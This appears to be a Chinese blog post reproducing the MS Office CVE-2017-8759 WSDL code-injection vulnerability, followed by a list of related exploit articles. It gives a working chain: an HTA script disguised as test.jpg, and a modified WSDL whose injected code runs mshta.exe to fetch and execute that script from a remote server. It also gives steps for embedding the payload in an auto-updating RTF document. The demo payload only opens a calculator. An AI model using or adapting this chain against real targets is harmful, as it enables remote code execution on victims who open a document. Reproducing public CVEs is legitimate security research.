MS Office 漏洞CVE-2017-8759复现
来源:互联网 发布:安装ug时java有什么用 编辑:程序博客网 时间:2024/06/05 04:26
web环境搭建,使用基于nginx+webpy通过fastcgi的方式搭建简单的web服务器。
首先配置fastcgi
location / { root E:/Python/webpy/www/; index index.html index.htm; include fastcgi_params; fastcgi_param SCRIPT_FILENAME $fastcgi_script_name; fastcgi_param PATH_INFO $fastcgi_script_name; fastcgi_pass 127.0.0.1:8008; }
创建web目录以及文件,编辑index.py文件,实现web相关请求接口
这里有些文件为其它测试文件,如.swf文件
先启动nginx,然后启动fastcgi
@echo offrem 8008 is a port in nginx config file nginx.conf as value of fastcgi_passecho Start fastcgi...python index.py 8008 fastcgipause
web环境准备好后,开始准备CVE-2017-8759的rft文档了。
下载POC相关文件,下载地址:https://github.com/vysec/CVE-2017-8759
创建HTA脚本文件,目的是打开一个计算器,内容如下:
<html> <head> <script language="VBScript"> Sub window_onloadwindow.resizeTo 0,0window.MoveTo -100,-100const impersonation = 3const HIDDEN_WINDOW = 12Set objShell = CreateObject("Wscript.Shell") objShell.Run "c:\\windows\\system32\\calc.exe", 0, FALSE window.close()end Sub</script> </head> <body> </body> </html>将脚本命名为test.jpg。
修改下载的POC文件exploit.txt,修改后的内容如下:
<definitions xmlns="http://schemas.xmlsoap.org/wsdl/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:suds="http://www.w3.org/2000/wsdl/suds" xmlns:tns="http://schemas.microsoft.com/clr/ns/System" xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo"> <portType name="PortType"/> <binding name="Binding" type="tns:PortType"> <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/> <suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class> </binding> <service name="Service"> <port name="Port" binding="tns:Binding"> <soap:address location="http://10.0.0.15?C:\Windows\System32\mshta.exe?http://10.0.0.15/static/test.jpg"/> <soap:address location="; if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) { System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]); System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true); } //"/> </port> </service></definitions>将通过mshta.exe执行hta脚本文件test.jpg。
创建RFT文档,打开MS Office 2013,选择插入=>>对象,在弹出的对话框中选择“由文件创建”tab页,如下图所示:
另存为RFT格式的文件,使用UtraEdit打开该文件,找到objdata的位置,如下图所示:
增加objupdate字段,实现打开该文档时在动加载运行这个objclass对象,修改后的内容如下:
具体介绍请参照如下链接:
https://www.mdsec.co.uk/2017/09/exploiting-cve-2017-8759-soap-wsdl-parser-code-injection/
https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/
接下来用WinHex打开POC中的blob.bin文件,将WSDL的值改为自己搭建的服务器的地址:
将该文件的16进制内容转存为文本字符,这我使用自己编写的小工具bin2hex.exe实现,转存结果如下:
再回到UltraEdit打开的RFT文件,用以上转存的文本字符替换掉objdata所在大括号中的内容,然后保存RFT文件。
到此我们完成了所有配置,双击打开该RFT文档,弹出计算器表示漏洞触发成功,最终效果如下:
- MS Office 漏洞CVE-2017-8759复现
- Office CVE-2017-8570远程代码执行漏洞复现
- CVE-2017-8759 复现
- 微软office远程代码执行漏洞(CVE-2017-11882)复现
- Office CVE-2017-11882本地复现
- CVE-2017-9805(Struts2 漏洞复现与分析)
- Tomcat任意文件上传漏洞CVE-2017-12615复现测试
- CVE-2017-11882复现
- CVE-2017-8464远程命令执行漏洞(震网漏洞)复现
- OFFICE OLE2LINK(CVE-2017-0199)漏洞利用详解
- [Mobile Security] - CVE漏洞复现虚拟团队呼唤小伙伴
- 渗透笔记7:CVE-2017-11882复现
- CVE-2017-8759完美复现(另附加hta+powershell弹框闪烁解决方案)
- Office远程代码执行漏洞POC样本分析(CVE-2017-11882)
- [漏洞] CVE-2017-1000364/CVE-2017-1000365/CVE-2017-1000366
- CVE-2017-12617漏洞分析
- MS08-067漏洞复现
- Zabbix爆高危漏洞CVE-2017-2824
- caffe绘制训练过程的loss和accuracy曲线
- 关于mysql错误:Subquery returns more than 1 row
- FreeRTOS之源代码文件预览
- 弦图与区间图总结
- Python 星号表达式(starred expression)
- MS Office 漏洞CVE-2017-8759复现
- Android-->自定义ViewGroup, 银行卡片布局
- 802.11协议精读9:初探节能模式(PS mode)与缓存机制
- idea解决dubplicate class found the file
- solr6.6教程-从mysql数据库中导入数据(三)
- SDN测试工具-iperf、Cbench、sFlow(缺图)
- Eclipse 修改所有文件默认编码为UTF-8
- mybatis在xml文件中处理大于号小于号的方法
- Linux下重要文件不小心被删除?别着急,看这里!